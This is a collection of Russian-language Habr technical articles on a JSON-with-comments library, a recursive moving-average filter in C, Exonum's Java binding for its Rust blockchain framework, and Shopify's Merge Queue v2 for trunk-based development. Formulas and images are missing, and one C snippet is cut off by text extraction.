Для преобразования строки jsonComm в JSON достаточно этого выражения. Как показывают бенчмарки, это преобразование достаточно хорошо летает — время выполнения — десятки-сотни **микро**секунд на страницу (сильно зависит от сложности разбора). Хуже будет дело с академическим скриптом для вывода комментариев в JSON, когда в replace() понадобится функция.
Так, мы получили валидный JSON, решив первую часть задачи — прочитать jsonComm.
Затем, парсинг валидности оставшегося кода, как задумано, возлагается на стандартную JSON.parse(), после чего получаем структуру данных в JS. Следующая часть задачи — кое-что автоматически подредактировать в исходном тексте, оставив комментарии на местах.
#### Вставка некоторых обновлённых значений
Созданное отделение данных от комментариев прекрасно используется для поиска по части текста, не включающей комментарии. Соответственно, правка значений тоже ведётся по шаблону пары «ключ-значение» и не попадает в области комментариев, сколь бы похожим на них текст там не был.
Напомним ограничения, которые накладываем на правки.
* в тексте jsonComm ищутся уникальные ключи (в кавычках). Копии ключей в комментариях игнорируются. Для одинаковых имён ключей из разных веток структуры — изменится первое и создастся некритическая ошибка в отчёте.
* цепочки ключей не анализируются (для простоты и скорости поиска)
* править пары, записанные не с начала строки — без проблем, потому что распознаватель ориентирован на скобки и запятые как маркеры пар. Но для удобства чтения и контроля лучше записывать изменяемые пары с начала строки.
* удалить пару нельзя; самое большее — заменить на null или "". Как следствие, редактируемые ключи продолжают работать при любых автоматических изменениях, исчезнуть могут только при ручных.
* изменяются только примитивы; массивы и структуры остаются на месте. Попытка изменить структуру приводит к нефатальной ошибке (пишется в лог ошибок).
* изменение (переименование) ключей возможно, хотя противоречит человеко-ориентированному подходу и может привести к нарушению цепочки автоматических изменений, которое будет сложно отлаживать. Этим механизмом, возможно, удобно менять значения местами (перестановкой не значений, а ключей).
Такая схема не отменяет правок сериализованных структур, но этот путь — уже не для людей. В настоящем виде правки рассчитаны на смену данных без смены структур, описанных в файлах jsonComm.
Тогда всё очень просто и быстро работает: в исходном файле отыскиваются единственные образцы вида «ключ» (в двойных кавычках), после чего скриптом имеем доступ к значению — строке, числу или логическому.
Изменение значений выполняется функцией **jsonComm.change(h)**, где h — одноранговый набор пар «ключ»-«новое значение». (В крайнем случае — «ключ»- {«новый ключ»:«новое значение»}.)
Что интересно, для .change() файл (строка) не обязан быть приводимым к JSON и к нему не обязательно пытаться применять .unComment(). Это может быть JS-файл, который сначала выполнится (например, только для того, чтобы прочитать из него текущие значения настроек вместо чтения JSON), а затем к нему применится модификация значений. Т.е. .change() — это тоже достаточно автономная функция в сборке.
Академические задачи: смена формата файла
-----------------------------------------
Чтобы ещё больше потратить места на библиотеку, придумываются задачи глобальной конвертации.
● получить комментарии в JSON (функция преобразования — **jsonComm.comm2json**),
● работа с YAML,
● двусторонние преобразования «jsonComm — YAML».
● то же для «jsonComm — XML».
В силу их невостребованности, для последних поставлены функции-заглушки, и только первая (comm2json) сделана ради академического интереса, для ответа на вопрос — насколько медленнее это будет. Приходится делать replace, в котором захватить параметры комментариев через функцию, а затем символ за символом проверять комментарии и преобразовывать имеющиеся в допустимые для JSON строковые символы.
Краткий ответ — становится медленее в 30 раз и тоже сильно зависит от сложности разбора, количества комментариев. Тестовый пример уложился примерно в 1 миллисекунду, но реальность легко сделает жизнь сложнее. Зато мы получаем первый инструмент для «полностью валидного» последующего преобразования в другие форматы данных (Yaml, XML).
Результаты теста
----------------
Посмотрим, как на субноуте средней руки эти 3 функции справляются с небольшим контрольным jsonComm, имеющим всевозможные (конечно, не все) сложности для парсинга. На скриншотах — исходные данные, но в проекте можно найти код этих данных и [провести тесты](http://spmbt.github.io/jsonComm/TEST/jsonCommTest.htm) на своём компьютере и браузере. На Firefox 34 (jsonComm.unComment):
На Хроме в этом тесте — вдвое лучшие результаты.
Как выполняется парсинг комментариев (jsonComm.comm2json)? Здесь замена работает через replace(,function).
У Хрома здесь и далее — сопоставимые результаты. Это значит, что его специально оптимизировали на замены строк (.replace()) без функций. В любом случае, первый тест — очень быстро, этот — умеренно.
Строчки форматируются неровно, но здесь это не имеет большого значения, потому что предназначение функции — получить валидный JSON с валидными комментариями. Показать красиво можно и стандартными средствами (.stringify), как показано далее в тесте (скриншот не приведён).
Как изменяются значения ключей (jsonComm.change)? Здесь форма и красивость результата — уже на первом месте, потому что предназначено для чтения конфигов людьми. Правила замены показаны в объекте jCommChanges.
Тут можно обратить внимание, что массивы и структуры не меняются по определению наших правил. Даже если написано «multiline1: {newKey:'newValue'}», изменяется только ключ, а запрос на изменение значения игнорируется.
Чем больше изменений требуется сделать на том же участке jsonComm, тем медленнее работает скрипт (что логично). Исходя из приведённых объёмов, можно оценить, какой будет скорость на больших JSON. В общем, скорость — достаточно хорошая, если даже для правок идёт речь о единицах миллисекунд.
Как упоминалось, первая функция с компилированным регекспом в несжатом виде занимает менее 1 КБ. Минифицированные первые 3 функции с выбрасыванием нереализованных остальных заглушек — 2.1 КБ (src/jsonComm.min.js).
Новые вклады в проект
---------------------
Что хотелось бы увидеть в проекте от новых контрибьюторов?
1) Кроме академических разделов, есть элементы парсинга, которые не помешало бы оттачивать в коде, чтобы выделять комментарии точнее (как показывает тестовый вывод в *jsonCommTest.htm* под заголовком «jsonWithComm», выходная строка .comm2json() не очень совершенна). Впрочем, в JSON.stringify уже есть способы вывести строку красивее, как показывает следующая строка лога под заголовком «jsObjWithComm».
2) Интересно было бы сравнение скорости со скриптовым парсингом.
3) Не отмечаются ошибки неуникального парсинга. Не обрабатываются JSON в виде одного примитива.
4) Плагины для Grunt, Gulp,….
Приветствуется тестирование для сложных случаев исходных файлов и сообщение об ошибках в issues, распространение ссылок для другой потенциальной аудитории (Китай и некоторые другие развитые страны, в которых Гитхаб не заблокирован).
● Всё, что описано — работает здесь: [jsonComm — проект (Github)](https://github.com/spmbt/jsonComm), [описание проекта (англ.)](http://spmbt.github.io/jsonComm/).
● [Json — стандарт](http://www.json.org/), [rfc-4627 о нём же](http://www.ietf.org/rfc/rfc4627.txt), [rfc-7159 (март 2014): обновление стандарта](http://rfc7159.net/rfc7159).
● Вопрос "[Как мне прокомментировать JSON?](http://stackoverflow.com/questions/244777/can-i-comment-a-json-file)" на SO.
● [JSON.minify() (блог)](http://blog.getify.com/json-comments/) и [Github](http://github.com/getify/JSON.minify).
● [grunt-](https://github.com/sindresorhus/grunt-strip-json-comments), [gulp](https://github.com/sindresorhus/gulp-strip-json-comments), [broccoli-](https://github.com/sindresorhus/broccoli-strip-json-comments), [strip-json-comments (Github)](https://github.com/sindresorhus/strip-json-comments)
● [JSON Comments](https://github.com/numbcoder/json-comments) (другой автор)
● [Предложения по совершенствованию JSON](http://bolinfest.com/essays/json.html) (англ., 2011)
● [JSON5](http://json5.org/) (перекликается с прежним)
● [Hjson, the Human JSON](http://laktak.github.io/hjson/) (Hjson keep my comments when updating a config file.) | https://habr.com/ru/post/247473/ | null | ru | null |
# Рекурсивный фильтр скользящего среднего
Да, дорогой читатель, такое тоже бывает, и может быть вкусно и полезно!
Как ты уже наверняка знаешь, дорогой читатель, существует два способа построения цифровых фильтров. Это рекурсивные фильтры, они же фильтры с бесконечной импульсной характеристикой (БИХ), и трансверсальные фильтры, они же фильтры с конечной импульсной характеристикой (КИХ). Самым простым и широко используемым фильтром КИХ является «фильтр скользящего среднего». Результат фильтрации такого фильтра, есть среднее арифметическое последних N отсчетов входного сигнала.
Или, в развернутом виде, для N=4:
Функция на языке С реализующая фильтр скользящего среднего:
```
#define N (4)
int filter(int a)
{
static int m[N];
static int n;
m[n]=a;
n=(n+1)%N;
a=0;
for(int j=0;j
```
Комплексный коэффициент передачи фильтра скользящего среднего, нормированный относительно частоты дискретизации, определится как преобразование Фурье от импульсной характеристики:
График амплитудно-частотной характеристики (АЧХ), нормированной относительно частоты дискретизации, при различных значениях длинны фильтра (N=4;8;16), приведен на рисунке:
Соответственно, график фазо-частотной характеристики (ФЧХ):
Данный фильтр нашел широкое применение в обработке сигналов, отчасти благодаря своей простоте, но самое главное его свойство — линейная фазо-частотная характеристика, и, соответственно, постоянное во всей полосе частот время запаздывания сигнала. Этот фильтр трансформирует амплитудный спектр сигнала, не затрагивая фазовый, что делает удобным его использование в системах регулирования. Фильтр скользящего среднего, благодаря своей линейной переходной характеристике, широко применяется при линейной интерполяции, передискретизации сигнала и т.п.
Главный недостаток фильтра скользящего среднего — вычислительная сложность, пропорциональная длине фильтра N. Для решения этой проблемы существует рекурсивный фильтр скользящего среднего. То есть, фильтр, имеющий те же характеристики, что и классический фильтр скользящего среднего, но реализованный по рекурсивной схеме. Такие типы фильтров широко известны в узких кругах, и называются: рекурсивные фильтры с линейной ФЧХ [Введение в цифровую фильтрацию. Под. ред. Богнера Р. М: 1976] или CIC-фильтры [[DspLib](http://www.dsplib.ru/content/cic/cic.html)]. Существует научная школа проф. Турулина И.И. [[РГБ](http://search.rsl.ru/ru/record/01000274721)], занимающаяся исследованием подобных фильтров.
Покажем способ построения рекурсивного фильтра скользящего среднего на примере фильтра длинной N=4. Впоследствии нетрудно будет обобщить результаты на произвольную длину фильтра.
Как было отмечено выше, значение n-ного отсчета сигнала на выходе фильтра можно определить как:
А значение предыдущего, ((n-1)-го) отсчета:
Вычтем из первого выражения второе, в результате получим:
Нетрудно сообразить, что при произвольной длине фильтра N, уравнение запишется в следующем виде:
 (1)
На основании приведенного уравнения можно записать код фильтра на языке С, но сначала мы выполним проверку наших выкладок. Найдем частотные характеристики рекурсивного фильтра скользящего среднего, для чего выполним Z-преобразование уравнения фильтра. Хочу напомнить дорогому читателю, что для выполнения Z-преобразования необходимо заменить переменные (xn,yn) их Z-отображениями (X,Y), каждое понижение индекса переменной на единицу соответствует умножению Z-1.
Решим полученное уравнение относительно Y/X –коэффициента передачи фильтра
Перейдем из Z-области в частотную область, заменив  на , и получим комплексный коэффициент передачи:
Построим график модуля комплексного коэффициента передачи (АЧХ фильтра), при различных значениях N=4,8,16:
А также аргумент комплексного коэффициента передачи (ФЧХ фильтра):
Как видно из приведенных графиков, частотные характеристики классического фильтра скользящего среднего и рекурсивного фильтра скользящего среднего полностью совпадают.
Перейдем к реализации фильтра. При непосредственной реализации по уравнению фильтра (1) в условиях целочисленной арифметики возможны некоторые трудности. При выполнении операции деления на N в целочисленной арифметике возникает потеря значащих разрядов, что приводит к нелинейным искажениям сигнала на выходе фильтра. Для разрешения этих трудностей необходимо исключить операцию деления из рекуррентного уравнения фильтра. Для чего умножим обе части уравнения фильтра (1) на N.
В полученном выражении выполним подстановку:
В результате уравнение фильтра (1) преобразуется в систему уравнений:
На основании системы уравнений фильтра запишем код, реализующий фильтр на языке С.
```
#define N (4)
int filter(int x)
{
static int n;
static int m[N];
static int y;
y=y+(x-m[n]);
m[n]=x;
n=(n+1)%N;
return y/N;
}
```
Стоит отметить, что любители «совершенного кода» могут наложить ограничивающие требования на длину фильтра N. При длине фильтра, равной степеням двойки (2,4,8,16…), можно заменить операцию деления (/) арифметическим сдвигом (>>), операцию остаток от деления (%) — побитовой конъюнкцией (&).
**Заключение**
Дорогой читатель, целью данной публикации не столько познакомить тебя с рекурсивным фильтром скользящего среднего, очень может быть, что ты про него прекрасно знаешь. Цель данной публикации познакомить тебя, дорогой читатель, с некоторыми практическими приемами анализа и синтеза цифровых фильтров. Посмотри, как просто мы перешли от трансверсального фильтра к рекурсивному, и Z-преобразование не так страшно, как его малюют. Надеюсь также, что метод повышения точности вычисления рекуррентных выражений в условиях целочисленной арифметики будет полезен тебе.
Успехов тебе, дорогой читатель! | https://habr.com/ru/post/325590/ | null | ru | null |
# Первый байндинг для Exonum: почему мы выбрали Java
Ядро нашего фреймворка для разработки приватных блокчейнов Exonum написано на Rust, поскольку этот ЯП ориентирован на безопасность работы с памятью. Однако наряду со многими преимуществами, Rust имеет ряд особенностей, усложняющих «взаимодействие» с ним: его синтаксис непривычен для многих разработчиков, а порог вхождения довольно высок.
Чтобы упростить работу с платформой Exonum и сделать её более доступной для аудитории, мы решили написать байндинг-библиотеку. Языком для байндинга стал Java.
Почему мы выбрали Java, рассказываем под катом.
[](https://habr.com/company/bitfury/blog/423441/)
*/ [Exonum](https://exonum.com/blog/bitfurys-exonum-blockchain-framework-now-available-for-java-community/)*
Пара слов об Exonum
-------------------
[Exonum](https://exonum.com/) — это наш open source фреймворк для разработки приватных блокчейнов. Блокчейн на Exonum значительно быстрее публичных блокчейнов и способен обрабатывать до 5 тыс. транзакций в секунду. Для сравнения, в Ethereum этот показатель равняется [нескольким десяткам](https://ethereum.stackexchange.com/questions/49484/how-many-transactions-per-second-can-ethereum-currently-handle-what-changes-wil), а у биткойна он и того [меньше](https://www.blockchain.com/ru/charts/transactions-per-second).
При этом Exonum использует алгоритм византийского консенсуса для защиты данных. Он не требует майнинга и [гарантирует](https://exonum.com/doc/architecture/consensus/) корректное выполнение транзакций, даже если треть узлов сети окажется скомпрометирована.
Платформа Exonum может использоваться в любых сферах: финансовой, технологической, юридической. В частности, фреймворк подходит для создания систем управления цифровыми правами (демку можно [найти на официальном сайте](https://exonum.com/demo/drm/)) и организации голосований ([демо](https://exonum.com/demo/voting/)). В обоих случаях все происходящие процессы максимально прозрачны и защищены криптографическими механизмами.
В прошлом году с помощью платформы Exonum был реализован Государственный земельный кадастр Украины. А до этого на Exonum запустили проект по управлению земельным имуществом в Грузии. Еще мы [ведем переговоры](https://incrussia.ru/understand/opyt-exonum-kak-perevesti-na-blokchejn-tseloe-gosudarstvo-i-vyigraet-li-ot-etogo-biznes/) с десятками компаний из Fortune 500 и Евросоюзом о внедрении нашей системы в их бизнес-процессы.
Ядро Exonum написано на Rust. Выбор обоснован тем, что этот ЯП фокусируется на безопасности и скорости — на некоторых задачах он работает быстрее, чем Java, Go, C и C++. При этом Rust гарантирует безопасность памяти и [предотвращает гонки](https://doc.rust-lang.org/nomicon/races.html), когда два потока пытаются получить доступ к одним данным.
Компилятор Rust разработан с целью [максимально снизить](https://habr.com/company/bitfury/blog/349786/) количество багов, вызванных влиянием человеческого фактора. Например, он устраняет сразу несколько классов ошибок за счет концепции времени жизни и владения.
Все значения в Rust имеют «область владения». Когда имя выходит за пределы этой области, связанный с ним ресурс высвобождается. Вот один из примеров кода, который [приводится](https://blog.rust-lang.org/2015/04/10/Fearless-Concurrency.html) в официальной документации Rust:
```
fn use_vec() {
let vec = make_vec(); // завладеть вектором
print_vec(vec); // передать его print_vec
for i in vec.iter() { // продолжить использовать vec
println!("{}", i * 2)
}
}
```
Если «скормить» его компилятору, то тот сгенерирует ошибку:
```
error: use of moved value: `vec`
for i in vec.iter() {
^~~
```
Это говорит о том, что vec недоступен, так как его область владения изменилась. Таким образом, «отстрелить себе ногу» в процессе разработки становится намного сложнее.
Почему мы решили создать байндинг
---------------------------------
##### «Шумный» синтаксис
Язык Rust предлагает удобный и широкий набор типов данных, которые можно комбинировать между собой. Это дает возможность упорядочить наборы значений в коде и ограничить доступ к данным, защищая их от несанкционированных обращений.
Подобные возможности [очень важны](https://habrahabr.ru/company/bitfury/blog/333446/) при работе со смарт-контрактами в Exonum. Благодаря им «умные» контракты нашего фреймворка имеют большую производительность и безопасность доступа к памяти, чем, например, решения Ethereum.
В целом, Rust похож на другие императивные языки (в частности, синтаксис Rust напоминает C/C++), но представляет большое количество новаторских концепций. В нем есть циклы, условия, функции, но при этом появляются области владения и типажи. Поэтому тем, кто ни разу не работал с этим ЯП, может быть сложно читать программы на нем.
Первое время [они кажутся](https://vorner.github.io/difficult.html) «инородными». «Боли» добавляет непривычное управление памятью (по сравнению с другими языками), которое делает Rust таким безопасным. Осенью прошлого года создатели Rust опубликовали результаты опроса среди 5 тыс. членов комьюнити. Почти четверть [респондентов отметила](https://blog.rust-lang.org/2017/09/05/Rust-2017-Survey-Results.html), что с Rust сложно работать.
##### Слишком «требовательный» компилятор
Как мы уже отмечали, задача компилятора Rust — снизить число багов в коде. Компилятор строг к тексту программы, но при этом выводит варианты устранения ошибок. При этом компилятор показывает даже предупреждения, касающиеся стиля программирования.
Такой подход позволяет писать надежный код (что важно при работе с блокчейнами в целом), однако имеет и обратную сторону медали. Порой приходится писать программы на Rust так, чтобы компилятор «понял», что вы не выполняете запрещенных операций с памятью. А так как язык пока еще молод и продолжает развиваться, каких-либо устоявшихся практик может и не быть. Потому, как говорит разработчик Exonum Илья Богданов, многие паттерны [приходится находить](https://www.youtube.com/watch?v=ueK34q1Rspw) методом научного тыка.
##### Небольшое комьюнити
Третьей причиной создания байндинга стало маленькое Rust-комьюнити. Хотя сообщество этого ЯП довольно дружелюбное, а его члены всегда готовы ответить на вопросы, язык «страдает» от небольшого количества литературы и библиотек. Однако здесь будет справедливо отметить, что эта проблема постепенно решается.
Последние годы Rust активно [продвигают Mozilla](https://research.mozilla.org/rust/) и [Samsung](https://s-opensource.org/2015/12/21/community-driven-wayland-support-servo/), что положительно сказывается на количестве разрабатываемых библиотек и новых «оберток» для уже существующих решений из мира C/C++. «Учебники» по языку также начинают постепенно появляться. Из тех, что уже есть, стоит выделить «[Основы Rust](https://www.amazon.com/Rust-Essentials-Ivo-Balbaert/dp/1785285769)» Иво Балберта (Ivo Balbaert), [онлайн-руководство](https://doc.rust-lang.org/stable/book/) на официальном сайте и недавнюю книгу одного из разработчиков проекта Rust Стива Клабника (Steve Klabnik) «[Язык программирования Rust](https://www.amazon.com/Rust-Programming-Language-Steve-Klabnik/dp/1593278284)».
Почему выбрали Java
-------------------
Одной из главных причин, определивших выбор, стало огромнейшее комьюнити этого ЯП. По данным [исследования](https://insights.stackoverflow.com/survey/2017), проводимого на площадке Stack Overflow в прошлом году, Java стоит на третьем месте по популярности (его обошли только JavaScript и SQL). Из 64 тыс. опрошенных разработчиков почти 40% пишет на Java.
Из-за размеров сообщества этот ЯП обзавелся обширным набором инструментов. Сюда входят IDE, аналитические решения, бенчмарк-фреймворки и др. Их настолько много, что некоторые компании [обязывают](https://softwareengineering.stackexchange.com/a/140271) разработчиков использовать только определенные IDE и фреймворки, чтобы избежать «расщепления» рабочей среды.
При этом у Java простой синтаксис и есть Java Native Interface (JNI), который [может работать](https://llogiq.github.io/2016/02/28/java-rust.html) с C Application Binary Interface (ABI). К тому же Java дает возможность использовать другие языки на стеке JVM: Scala, Kotlin, Clojure.
И, наконец, Java-машина кроссплатформенна: код Java выполняется в байт-код, который интерпретируется и запускается на Windows, MacOS, Linux-платформах. При этом язык Java сильнее завязан на open source (по сравнению, например, с C#). Инструменты разработчика Java в большинстве своем бесплатны: это и [JDK](https://ru.wikipedia.org/wiki/Java_Development_Kit), и основанные на нем интегрированные среды разработки — JDeveloper, NetBeans, Eclipse и др. При этом на специализированных ресурсах можно найти огромное количество открытых проектов (например, на [GitHub](https://github.com/trending/java)). Также существует [множество руководств](https://www.javaworld.com/blog/open-source-java-projects/) по работе с open source технологиями.
Основные вызовы при разработке Java Binding
-------------------------------------------
Разработка Java Binding была долгой и сложной (и она до сих пор ведется). Нам нужно было учесть все те особенности, которые делают языки Rust и Java такими разными.
Например, одна из сложностей заключалась в организации менеджмента ресурсов. Дело в том, что в Java есть Garbage Collector, а в Rust — нет. Его [убрали](https://habr.com/company/bitfury/blog/349786/) в одной из ранних версий, поскольку разработчики пришли к выводу, что смогут обеспечить такой же уровень надежности с помощью системы типов.
Java GC, хотя и имеет повышенное ресурсопотребление (он заставляет все функции отдавать ему неиспользуемые объекты, чтобы избежать потенциальных утечек памяти), довольно удобен. Поэтому нам нужно было реализовать механизм очистки ресурсов, который бы понравился Java-разработчикам.
Еще одна сложность оказалась связана со специфическими структурами данных, представленными в Exonum, — [деревьями Меркла](https://habr.com/company/bitfury/blog/346398/) (Merkle trees). Exonum [использует](https://exonum.com/doc/advanced/merkelized-list/) их, чтобы комбинировать состояния блокчейна в единый хеш. Это дает возможность доказывать подлинность транзакций без необходимости связываться с несколькими полными узлами сети. Эта функциональность важна для работы наших легких клиентов, потому её также было необходимо интерпретировать на Java.
Java API практически полностью повторяет Rust API. Так сделано, чтобы нам было проще адаптировать документацию и упростить работу пользователям. Мы подготовили отдельное руководство по настройке и запуску узла Exonum с Java Binding App.
Для [создания сервисов](https://github.com/exonum/exonum-doc/blob/master/src/get-started/java-binding.md) на Java, можно использовать шаблонный генератор проектов. Нужно установить Maven 3 и запустить команду:
```
$ mvn archetype:generate \
-DinteractiveMode=false \
-DarchetypeGroupId=com.exonum.binding \
-DarchetypeArtifactId=exonum-java-binding-service-archetype \
-DgroupId=com.example.myservice \
-DartifactId=my-service \
-Dversion=1.0
```
Можно использовать интерактивный режим:
```
$ mvn archetype:generate \
-DarchetypeGroupId=com.exonum.binding \
-DarchetypeArtifactId=exonum-java-binding-service-archetype
```
Полное руководство с примерами по настройке Java-сервиса вы найдете [в документации](https://exonum.com/doc/get-started/java-binding/) на официальном сайте проекта Exonum. Рекомендации по запуску узла Exonum [есть в репозитории на GitHub](https://github.com/exonum/exonum-java-binding/blob/master/exonum-java-binding-core/rust/ejb-app/TUTORIAL.md).
*/ [Exonum](https://exonum.com/)*
Планы на будущее
----------------
Пока Java Binding находится в альфе. Выпустить его как полноценную и готовую фичу планируем уже в ближайшее время. Сейчас мы собираем фидбэк от пользователей, чтобы отследить потенциальные проблемы в работе библиотеки и внести исправления.
Также ведется работа над документацией, написанием example-проектов, SDK для упрощения интеграции с приложением на блокчейне и улучшением UX в целом. Полную дорожную карту проекта вы [найдете в репозитории на GitHub](https://github.com/exonum/exonum-java-binding/blob/master/ROADMAP.md).
Там же вы можете [взять все исходники](https://github.com/exonum/exonum-java-binding), чтобы попробовать Java Binding и написать свой сервис на Java для Exonum. Если в процессе возникнут вопросы, то свяжитесь [с нашей командой разработчиков в Gitter](https://gitter.im/exonum/exonum-java-binding). Расскажут и помогут по мере возможности. | https://habr.com/ru/post/423441/ | null | ru | null |
# Как Shopify организовала совместную работу более 1000 разработчиков
Сложно организовать совместную работу большой команды, тем более над общей кодовой базой, такой как Shopify. Наш монолит меняется по 40 раз на дню. Мы отслеживаем разработку в trunk-based рабочем процессе и ежедневно вливаем в мастер по 400 коммитов. У нас три правила безопасного деплоя, но с ростом масштаба разработки их становилось всё труднее соблюдать. Небольшие конфликты ломали основную ветку, медленные развёртывания увеличивали разрыв между ней и продакшном, а скорость деплоя критических изменений замедлилась из-за отставания пул-реквестов. Чтобы решить эти проблемы, мы обновили Merge Queue (наш инструмент для автоматизации и управления скоростью мержей в основную ветку). Теперь он интегрирован с GitHub, запускает непрерывную интеграцию (CI) перед слиянием с основной веткой, удаляет запросы, которые не вошли в CI, и увеличивает скорость развёртывания.
Наши три основных правила безопасного деплоя и обслуживания основной ветки (мастера):
1. **Мастер всегда должен быть зелёным (через CI)**, чтобы была возможность деплоить из него в любое время. Зелёный мастер — это значит, что основная ветка всегда успешно компилируется и проходит все этапы сборки. В противном случае разработчики не могут влить изменения в ветку, тормозя процесс во всей компании.
2. **Мастер должен быть близок к продакшну**. Уход слишком далеко вперёд увеличивает риски.
3. **Экстренные слияния должны быть быстрыми**. В случае ЧП мы должны быть в состоянии быстро внести исправления.
Merge Queue v1
==============
Два года назад мы выкатили [первую итерацию очереди](https://engineering.shopify.com/blogs/engineering/introducing-the-merge-queue) в нашем опенсорсном инструменте непрерывного развёртывания [Shipit](https://engineering.shopify.com/blogs/engineering/introducing-shipit). Наша цель состояла в том, чтобы не дать основной ветке уйти слишком далеко от продакшна. Вместо непосредственного слияния с мастером разработчики добавляют пул-реквесты в очередь Merge Queue от их имени.
*Merge Queue v1*
Пул-реквесты не сливаются с основной веткой сразу, а накапливаются в очереди. Merge Queue v1 контролировала размер очереди и предотвращала слияние, когда в мастере было слишком много изменений, которые ещё не выкатили в продакшн. Это уменьшило риск сбоев и возможного отставания продакшна. Во время инцидентов мы блокировали очередь, предоставляя место для аварийных исправлений.
*Браузерное расширение Merge Queue v1*
Через браузерное расширение Merge Queue v1 разработчики отправляли пул-реквесты в очередь слияния в интерфейсе GitHub. Оно также позволяло быстро накатывать исправления во время чрезвычайных ситуаций, минуя очередь.
Проблемы с Merge Queue v1
=========================
Merge Queue v1 отслеживала пул-реквесты, но система CI не работала на пул-реквестах, которые находятся в очереди. В некоторые неудачные дни — когда из-за инцидентов приходилось приостанавливать деплои — в очереди на слияние скапливалось более 50 пул-реквестов. Объединение и развёртывание очереди такого размера может занять несколько часов. Также никакой гарантии, что пул-реквест в очереди пройдёт через CI после слияния с основной веткой, поскольку между запросами в очереди могут быть мягкие конфликты (два независимых пул-реквеста проходят CI по отдельности, но не вместе).
Основной головной болью стало браузерное расширение. Новые разработчики иногда забывали его установить, иногда выполняли слияние напрямую в основную ветку вместо отправки пул-реквеста в очередь. Это грозило разрушительными последствиями, если деплой уже сильно отстал или очередь поставлена на паузу из-за инцидента.
Merge Queue v2
==============
В этом году мы выпустили вторую версию очереди — Merge Queue v2. Мы сосредоточились на оптимизации пропускной способности за счёт сокращения времени простоя очереди и улучшения UI, заменив браузерное расширение более интегрированным интерфейсом. Мы также хотели решить проблемы, которые не могли решить с прежней версией системы: держать мастер зелёным и быстрее накатывать аварийные исправления. Кроме того, наше решение должно было противостоять ненадёжным тестам, которые завершаются с непредсказуемым результатом.
Отказ от браузерного расширения
===============================
В Merge Queue v2 реализовали новый интерфейс. Хотелось, чтобы он был интуитивно понятен разработчикам, знакомым с GitHub. Мы черпали вдохновение из системы [Atlantis](https://www.runatlantis.io/), которую уже использовали в своей установке Terraform, и сделали интерфейс на основе комментариев.
*Merge Queue v2 с интерфейсом на основе комментариев*
На каждый пул-реквест выдаётся приветственное сообщение с инструкциями по использованию очереди слияния. Каждое слияние теперь начинается с комментария `/shipit`. Он отправляет веб-хук в нашу систему, сообщая о новом пул-реквесте. Мы проверяем, что пул-реквест прошёл CI и одобрен рецензентом, прежде чем добавить его в очередь. В случае успеха на этот комментарий выдаётся ответ с положительным эмодзи через [addReaction из GitHub GraphQL](https://developer.github.com/v4/mutation/addreaction/).
```
addReaction(input: {
subjectId: $comment_id
content: thumbs_up
})
```
Другие комментарии к пул-реквесту сообщают об ошибках, таких как недопустимая ветвь или отсутствующие отзывы.
```
addComment(input: {
subjectId: $pr_id
body: $error_message
})
```
Слияние напрямую в мастер минуя очередь снижает общую пропускную способность, поэтому мы программно отключили возможность слияния непосредственно в мастер с помощью функции [защиты ветвей GitHub](https://help.github.com/en/github/administering-a-repository/about-protected-branches), которая является частью процесса интеграции очереди.
```
createBranchProtectionRule(input: {
repositoryId: $repository_id
pattern: 'master'
# This is how we disable to merge pull request button for non-admins.
restrictsPushes: true
# Admins should be able to use the merge button in case merge queue is broken
# The app also depends on this to merge directly in emergencies
isAdminEnforced: false
})
```
Тем не менее, нам все ещё нужна возможность прямых слияний в обход очереди, когда происходит чрезвычайная ситуация. Для этих случаев мы добавили отдельную команду `/shipit --emergency`, которая блокирует любые проверки, и код вливается непосредственно в мастер. Это помогает донести до разработчиков, что прямые слияния зарезервированы только для чрезвычайных ситуаций, и у нас есть возможность проверки каждого такого пул-реквеста.
Сохранять основную ветку зелёной
================================
Чтобы сохранять основную ветку зелёной, мы ещё раз посмотрели, как и когда вносим в неё изменения. Если перед слиянием в мастер мы запускаем CI, то гарантируем слияние только зелёных изменений. Это улучшает качество локальной разработки, устраняя число обращений к сломанному мастеру и ускоряя деплой, не беспокоясь о задержках из-за неудачной сборки.
Здесь мы решили создать так называемую «прогнозную ветвь» (predictive branch), где объединяются пул-реквесты и запускается CI. Это возможная будущая версия мастера, однако этой веткой по-прежнему можно свободно манипулировать. Мы избегаем локального чекаута, чтобы не поддерживать stateful-систему и не рисковать синхронизацией, и вместо этого взаимодействуем с данной веткой через GraphQL GitHub API.
Для гарантии, что прогнозная ветвь на GitHub согласуется с нашим желаемым состоянием, мы используем шаблон, похожий на [Virtual DOM](https://reactjs.org/docs/faq-internals.html#what-is-the-virtual-dom) в React. Система создаёт в памяти представление желаемого состояния и запускает разработанный нами алгоритм согласования, который выполняет необходимые мутации в состояние на GitHub. Алгоритм согласования синхронизирует наше желаемое состояние с GitHub в два шага. Первый шаг — отбросить устаревшие коммиты слияния. Это созданные в прошлом коммиты, которые больше не нужны для желаемого состояния дерева. Второй шаг — создать недостающие коммиты на слияние. Как только они созданы, инициируется соответствующий запуск CI.
Такая схема позволяет свободно изменять желаемое состояние при изменении очереди и устойчива к десинхронизации.
*Merge Queue v2 запускает CI на очереди коммитов*
Чтобы сохранять основную ветку в состоянии готовности (зелёной), нужно ещё удалить из очереди пул-реквесты, которые не проходят CI, чтобы предотвратить каскадные сбои для последующих пул-реквестов. Однако наш основной монолит Shopify, как и многие другие большие кодовые базы, страдает от ненадёжных тестов. Из-за это нам не хватает уверенности, удалять или не удалять пул-реквест из очереди. Хотя мы продолжаем дорабатывать тесты, но ситуация такая, какая есть, и система должна справляться с ней.
Мы добавили порог отказоустойчивости и удаляем пул-реквесты только в том случае, если число последовательных отказов превышает этот порог. Идея в том, что реальные сбои сохранятся при последующих запусках, а ложная тревога не подтвердится. Высокий порог увеличит точность, но требует больше времени. Чтобы найти компромисс, можно проанализировать данные с результатами ненадёжных тестов. Предположим, что вероятность ложного срабатывания составляет 25%. Посчитаем вероятность нескольких последовательных ложных срабатываний.
| Порог отказоустойчивости | Вероятность |
| --- | --- |
| 0 | 25% |
| 1 | 6,25% |
| 2 | 1,5% |
| 3 | 0,39% |
| 4 | 0,097% |
Из этих цифр ясно, что с повышением порога вероятность значительно снижается. Она никогда не снизится ровно до нуля, но в уже порог 3 достаточно близко приближает нас к этому. Это означает, что при четвёртом последовательном сбое мы удалим из очереди пул-реквест, который не проходит CI.
Увеличение пропускной способности
=================================
Ещё одна важная задача Merge Queue v2 — увеличить пропускную способность. Развёртывание должно идти непрерывно, при этом надо следить, что каждый деплой содержит максимальное количество пул-реквестов, которое прошли проверку.
